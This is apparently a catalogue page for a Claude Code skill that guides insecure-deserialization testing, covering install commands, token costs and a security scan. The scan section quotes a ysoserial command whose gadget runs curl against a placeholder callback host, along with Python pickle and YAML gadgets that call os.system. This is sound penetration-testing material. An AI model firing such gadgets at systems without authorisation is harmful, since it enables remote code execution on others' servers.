hunt-deserialization

hunt-deserialization is a skill for Claude Code from Encod3d-Sec/TORCH. It costs 47 tokens per session (1,752 once invoked), scanned A, original, MIT.

A guided method for testing insecure deserialization, where an application rebuilds objects from attacker-controlled data, across common programming languages. It checks whether this could lead to unintended code execution.

In plain words
What is it for?
It is for identifying serialized input, fingerprinting formats, using harmless out-of-band callbacks, and checking Java, .NET, PHP, Python, Ruby, or Node applications.
Why use it?
It separates evidence that data was merely parsed from proof that it caused an external effect, reducing false claims about remote code execution.

Skill for Claude Code

Written for Claude Code: SessionStart hook event. Also seen: mentions CLAUDE.md.

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/encod3d-sec/torch/hunt-deserialization
Any agent
npx skills add Encod3d-Sec/TORCH --skill hunt-deserialization
Clone the repo
git clone --depth 1 https://github.com/Encod3d-Sec/TORCH

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for hunt-deserialization

README.md
[![agentmods](https://agentmods.dev/badge/skills/encod3d-sec/torch/hunt-deserialization.svg)](https://agentmods.dev/skills/encod3d-sec/torch/hunt-deserialization)
Your own site
<a href="https://agentmods.dev/skills/encod3d-sec/torch/hunt-deserialization"><img src="https://agentmods.dev/badge/skills/encod3d-sec/torch/hunt-deserialization.svg" alt="Measured on agentmods" height="20"></a>
Per session 47 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,752 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00047 $0.01752
Opus 5 $0.00023 $0.00876
Sonnet 5 $0.00009 $0.00350
Haiku 4.5 $0.00005 $0.00175

Measured 6d ago against content hash bea17423c924, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade A, and why

hunt-deserialization scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

java -jar ysoserial.jar CommonsCollections6 "curl http://<collab>/x" | base64 -w0 # after sink confirmed

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

5. **Python:** `pickle.loads` on user data -> `__reduce__` returning `(os.system, ("cmd",))`. yaml.load (unsafe) -> `!!python/object/apply:os.system`.
skills/hunt/hunt-deserialization/SKILL.md · 123 lines

How it starts

The opening of the file, as written. The whole thing — 123 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Hunt: Insecure Deserialization

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "insecure deserialization gadget chain Java .NET PHP Python Ruby Node ysoserial" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[insecure-deserialization]]. Payload arsenal: wiki/payloads/deserialization.md. Anchors: [[ml-model-deserialization]].

Confirmation gate

Blind deserialization RCE claims require an OOB HIT. No exceptions. The first payload is always a benign OOB probe, never a command: Java URLDNS / JRMPClient force a DNS/TCP callback with zero code-exec risk, proving the sink deserializes attacker data before you fire a gadget.

NOT confirmation: a deserialization error, a type error, a stack trace, a 500, or the blob merely being accepted. Any of these alone means the parser saw your bytes, not that you control execution.

IS confirmation: an OOB callback from the gadget to your unique Collaborator / interactsh subdomain, or a demonstrated effect - command execution, a file read, an SSRF fetch - reproduced in a clean session per hunt-core. A time-delay gadget that reliably toggles counts as the effect. Blind cases need the OOB HIT.

When you plant the OOB probe (URLDNS/JRMPClient or any blind payload), append a row to targets/<eng>/oob.md: | <token> | <sink url+param> | deser | <date> | waiting | | (columns: token | sink | class | planted | status | source, token = your unique interactsh label). The recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart surfaces HITs; the HIT row is the gate to scaffold the FIND. Do NOT claim a blind deserialization finding without a HIT row.

Attack surface signals

Fingerprint serialized blobs by magic bytes / shape:

rO0AB...                      Java (base64, 0xAC 0xED 0x00 0x05)
AAEAAAD/////                  .NET BinaryFormatter (base64)
a:2:{... / O:8:"stdClass":    PHP serialize()
gASV / \x80\x04 / \x80\x05    Python pickle (base64 gAS...)
BAh... / --- !ruby/object     Ruby Marshal / YAML

Read the full file on GitHub · 123 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 123 lines · 47 tokens per session scan A bea17423c924

Subscribe to this mod's changes

hunt-deserialization is a skill published in the GitHub repository Encod3d-Sec/TORCH (303 stars, last pushed 5d ago), licensed MIT. It adds 47 tokens to every session and 1,752 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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